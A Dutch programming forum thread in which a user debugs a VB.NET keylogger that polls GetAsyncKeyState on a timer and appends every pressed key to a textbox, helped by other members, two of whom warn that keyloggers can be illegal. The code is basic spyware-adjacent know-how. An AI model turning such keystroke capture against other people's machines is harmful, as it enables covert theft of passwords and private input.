Ingedrukte toetsen opslaan in een string

[wouter1997]

Hoi,

Ik ben een programma aan het maken maar als ik verder wil heb ik eerst een code nodig die alle letters die je typt via je toetsenbord worden opgeslagen in een string.
Hoe moet ik dit doen?

Groetjes Wouter

 

[edmoor]

Da's niet zo moeilijk te vinden natuurlijk.
http://www.vsprogramming.com/tutorials/vb-net-keylogger/

 

[JoZ1]

Wel uitkijken ermee, hè?
http://www.goeievraag.nl/vraag/gebruik-keylogger-illegaal.36470

 

[wouter1997]

Oke? dit is raar ik heb die code van die website in een nieuw project gedaan en ik krijg 42 errors:

De errors:

Error	1	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	17	1	Keylogger
Error	2	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	17	14	Keylogger
Error	3	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	17	27	Keylogger
Error	4	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	19	1	Keylogger
Error	5	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	19	14	Keylogger
Error	6	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	19	27	Keylogger
Error	7	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	21	1	Keylogger
Error	8	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	21	14	Keylogger
Error	9	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	21	27	Keylogger
Error	10	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	23	1	Keylogger
Error	11	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	23	14	Keylogger
Error	12	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	23	27	Keylogger
Error	13	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	25	1	Keylogger
Error	14	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	25	14	Keylogger
Error	15	Expression expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	25	29	Keylogger
Error	16	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	27	1	Keylogger
Error	17	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	27	14	Keylogger
Error	18	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	27	27	Keylogger
Error	19	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	29	1	Keylogger
Error	20	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	29	14	Keylogger
Error	21	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	29	27	Keylogger
Error	22	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	31	1	Keylogger
Error	23	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	31	14	Keylogger
Error	24	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	31	27	Keylogger
Error	25	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	33	1	Keylogger
Error	26	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	33	14	Keylogger
Error	27	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	33	27	Keylogger
Error	28	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	35	1	Keylogger
Error	29	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	35	14	Keylogger
Error	30	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	35	27	Keylogger
Error	31	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	37	1	Keylogger
Error	32	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	37	14	Keylogger
Error	33	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	37	27	Keylogger
Error	34	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	39	1	Keylogger
Error	35	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	39	14	Keylogger
Error	36	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	39	27	Keylogger
Error	37	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	41	1	Keylogger
Error	38	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	41	14	Keylogger
Error	39	Expression expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	41	29	Keylogger
Error	40	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	43	1	Keylogger
Error	41	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	43	14	Keylogger
Error	42	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	43	27	Keylogger

Hier is mijn code:

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Dim result As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub


Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick

    For i = 1 To 255
        result = 0
        result = GetAsyncKeyState(i)

        If result = -32767 Then
            If Chr(i) = "(" Then
txtkeys.Text txtkeys.Text & = "[Down Arrow] 
            ElseIf Chr(i) = "%" Then
txtkeys.Text txtkeys.Text & = "[Arrow Left]" 
            ElseIf Chr(i) = "'" Then
txtkeys.Text txtkeys.Text & = "[Arrow Right]
            ElseIf Chr(i) = "&" Then
txtkeys.Text txtkeys.Text & = "[Arrow up]" 
            ElseIf Chr(i) = "" Then
txtkeys.Text txtkeys.Text = & "[click mouse left]" 
            ElseIf Chr(i) = "" Then
txtkeys.Text txtkeys.Text & = "[mouseclick right]" 
            ElseIf Chr(i) = "" Then
txtkeys.Text txtkeys.Text & = "[backspace] ' 
            ElseIf Chr(i) = "." Then
txtkeys.Text txtkeys.Text & = "[delete] 
            ElseIf Chr(i) = "" Then
txtkeys.Text txtkeys.Text & = "[shift]" 
            ElseIf Chr(i) = "" Then
txtkeys.Text txtkeys.Text & = "[tab]" 
            ElseIf Chr(i) = "¾" Then
txtkeys.Text txtkeys.Text & = "." 
            ElseIf Chr(i) = "¼" Then
txtkeys.Text txtkeys.Text & = "" 
            ElseIf Chr(i) = "¿" Then
txtkeys.Text txtkeys.Text = & "/" 
            Else
txtkeys.Text txtkeys.Text & = Chr (i) 
            End If
        End If
    Next i
End Sub
End Class

 

[edmoor]

Wijzig overal eens:

txtkeys.Text txtkeys.Text & =

In:

txtkeys.Text = txtkeys.Text &

 

[wouter1997]

Nog maar 2 errors

Error	1	Expression expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	25	32	Keylogger
Error	2	Expression expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	41	35	Keylogger

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Dim result As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub


Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick

    For i = 1 To 255
        result = 0
        result = GetAsyncKeyState(i)

        If result = -32767 Then
            If Chr(i) = "(" Then
                    txtkeys.Text = txtkeys.Text & "[Down Arrow] "
                ElseIf Chr(i) = "%" Then
                    txtkeys.Text = txtkeys.Text & "[Arrow Left]"
                ElseIf Chr(i) = "'" Then
                    txtkeys.Text = txtkeys.Text & "[Arrow Right]"
                ElseIf Chr(i) = "&" Then
                    txtkeys.Text = txtkeys.Text & "[Arrow up]"
                ElseIf Chr(i) = "" Then
txtkeys.Text =  txtkeys.Text = & "[click mouse left]" 
                ElseIf Chr(i) = "" Then
                    txtkeys.Text = txtkeys.Text & "[mouseclick right]"
                ElseIf Chr(i) = "" Then
                    txtkeys.Text = txtkeys.Text & "[backspace] ' "
                ElseIf Chr(i) = "." Then
                    txtkeys.Text = txtkeys.Text & "[delete] "
                ElseIf Chr(i) = "" Then
                    txtkeys.Text = txtkeys.Text & "[shift]"
                ElseIf Chr(i) = "" Then
                    txtkeys.Text = txtkeys.Text & "[tab]"
                ElseIf Chr(i) = "¾" Then
                    txtkeys.Text = txtkeys.Text & "."
                ElseIf Chr(i) = "¼" Then
                    txtkeys.Text = txtkeys.Text & ""
                ElseIf Chr(i) = "¿" Then
    txtkeys.Text = txtkeys.Text = & "/" 
                Else
                    txtkeys.Text = txtkeys.Text & Chr(i)
            End If
        End If
    Next i
End Sub
End Class

 

[edmoor]

Kijk, dat scheelt al een stuk.
Als je alleen een zoek en vervang hebt gedaan zit er nog een fout in je If Then ElseIf structuur.
Die moet je dus even nakijken.
Zelf zou ik trouwens Select Case gebruiken.

 

[wouter1997]

Ik snap niet helemaal wat je bedoelt hoe moet ik het aanpassen?

 

[edmoor]

Ik vind het voorbeeld niet echt netjes gedaan. Het is slecht leesbaar en als je het naar een andere tekstbox wilt schijven moet je veel aanpassen.
Ik zou het zo doen.
Declareer een extra string variabele:

    Dim AddText As String

En wijzig de If structuur in een Select Case procedure:

If result = -32767 Then
    Select Case Chr(i)
        Case "(",
            AddText = "[Down Arrow]"
        Case "%",
            AddText = "[Arrow Left]"
        Case "'",
            AddText = "[Arrow Right]"
        Case "&",
            AddText = "[Arrow up]"
        Case "",
            AddText = "[click mouse left]"
        Case "",
            AddText = "[click mouse right]"
        Case "",
            AddText = "[backspace]"
        Case ".",
            AddText = "[delete]"
        Case "",
            AddText = "[shift]"
        Case "",
            AddText = "[tab]"
        Case "¾",
            AddText = "."
        Case "¼",
            AddText = ""
        Case "¿",
            AddText = "/"
        Case Else
            AddText = Chr(i)
    End Select
    Txtkeys.Text = Txtkeys.Text & " " & AddText
End If

Dat maakt het al een stuk leesbaarder en makkelijker te wijzigen als dat nodig is.
Ik heb het niet getest dus als er tikfouten in zitten moet je ze maar even aanpassen

 

[wouter1997]

Uuh 13 errors wat doe ik nu weer fout?

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Dim AddText As String
    Dim result As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub


    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick

        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                Select Case Chr(i)
                    Case "(",
                        AddText = "[Down Arrow]"
                    Case "%",
                        AddText = "[Arrow Left]"
                    Case "'",
                        AddText = "[Arrow Right]"
                    Case "&",
                        AddText = "[Arrow up]"
                    Case "",
                        AddText = "[click mouse left]"
                    Case "",
                        AddText = "[click mouse right]"
                    Case "",
                        AddText = "[backspace]"
                    Case ".",
                        AddText = "[delete]"
                    Case "",
                        AddText = "[shift]"
                    Case "",
                        AddText = "[tab]"
                    Case "¾",
                        AddText = "."
                    Case "¼",
                        AddText = ""
                    Case "¿",
                        AddText = "/"
                    Case Else
                        AddText = Chr(i)
                End Select
                Txtkeys.Text = Txtkeys.Text & " " & AddText
            End If
        Next i
    End Sub
End Class

Error	1	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	20	25	Keylogger
Error	2	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	22	25	Keylogger
Error	3	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	24	25	Keylogger
Error	4	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	26	25	Keylogger
Error	5	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	28	25	Keylogger
Error	6	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	30	25	Keylogger
Error	7	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	32	25	Keylogger
Error	8	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	34	25	Keylogger
Error	9	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	36	25	Keylogger
Error	10	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	38	25	Keylogger
Error	11	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	40	25	Keylogger
Error	12	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	42	25	Keylogger
Error	13	Value of type 'Boolean' cannot be converted to 'Char'.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	44	25	Keylogger

 

[KwarK]

Wel uitkijken ermee, hè?
http://www.goeievraag.nl/vraag/gebruik-keylogger-illegaal.36470

Deze haal ik nog maar eens aan, Wouter. Zie ook http://www.iusmentis.com/beveiliging/hacken/computercriminaliteit/aftappengegevens/

Het lijkt er verder op dat je nul kennis hebt van programmeren, dus als je dit als proefprojectje doet zou ik eerst eens beginnen met wat basics (zoals if-then-else en select case / switch) voordat je je verder in het maken van een programma verdiept.

 

[wouter1997]

Ik heb al best veel verstand ervan maar het probleem is ik heb nog nooit gehoord van case select is dat niet gewoon hetzelfde als else if?

 

[edmoor]

Ik heb er nog geen tijd voor gehad naar zal er vanavond even naar kijken.

 

[JoZ1]

Ik heb al best veel verstand ervan maar het probleem is ik heb nog nooit gehoord van case select is dat niet gewoon hetzelfde als else if?

Sorry, maar ik ben het met KwarK eens dat je niet veel verstand hebt van programmeren: anders zouden er niet dit soort fouten in zitten.

Error	1	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	17	1	Keylogger
Error	2	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	17	14	Keylogger
Error	3	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	17	27	Keylogger
Error	4	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	19	1	Keylogger
Error	5	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	19	14	Keylogger
Error	6	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	19	27	Keylogger
Error	7	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	21	1	Keylogger
Error	8	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	21	14	Keylogger
Error	9	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	21	27	Keylogger
Error	10	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	23	1	Keylogger
Error	11	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	23	14	Keylogger
Error	12	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	23	27	Keylogger
Error	13	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	25	1	Keylogger
Error	14	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	25	14	Keylogger
Error	15	Expression expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	25	29	Keylogger
Error	16	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	27	1	Keylogger
Error	17	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	27	14	Keylogger
Error	18	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	27	27	Keylogger
Error	19	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	29	1	Keylogger
Error	20	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	29	14	Keylogger
Error	21	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	29	27	Keylogger
Error	22	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	31	1	Keylogger
Error	23	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	31	14	Keylogger
Error	24	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	31	27	Keylogger
Error	25	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	33	1	Keylogger
Error	26	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	33	14	Keylogger
Error	27	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	33	27	Keylogger
Error	28	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	35	1	Keylogger
Error	29	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	35	14	Keylogger
Error	30	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	35	27	Keylogger
Error	31	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	37	1	Keylogger
Error	32	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	37	14	Keylogger
Error	33	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	37	27	Keylogger
Error	34	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	39	1	Keylogger
Error	35	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	39	14	Keylogger
Error	36	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	39	27	Keylogger
Error	37	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	41	1	Keylogger
Error	38	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	41	14	Keylogger
Error	39	Expression expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	41	29	Keylogger
Error	40	Property access must assign to the property or use its value.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	43	1	Keylogger
Error	41	Method arguments must be enclosed in parentheses.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	43	14	Keylogger
Error	42	Comma, ')', or a valid expression continuation expected.	C:\Users\Wouter\AppData\Local\Temporary Projects\Keylogger\Form1.vb	43	27	Keylogger

Select Case is gewoon een (vaak) overzichtelijkere vorm van If-Then

[CPP]If name = "1" Then blah1() ElseIf name = "2" Then blah2() Else blah3()[/CPP]

[CPP]Select Case name
Case "1"
blah1()
Case "2"
blah2()
Case else
blah3()
End Select[/CPP]

 

[edmoor]

Kijk eens in je code naar:
For i = 1 To 255

i is nergens gedeclareerd en dat is sowieso slordig.
Het lijkt erop dat hij dan wordt beschouwd als een Boolean.
Dus declareer i of maak er eens dit van:
For i As Integer = 1 To 255

Ik kan het niet testen zoals al eerder gezegd, dus probeer het gewoon even.

 

[wouter1997]

Bedankt iedereen! het is me gelukt.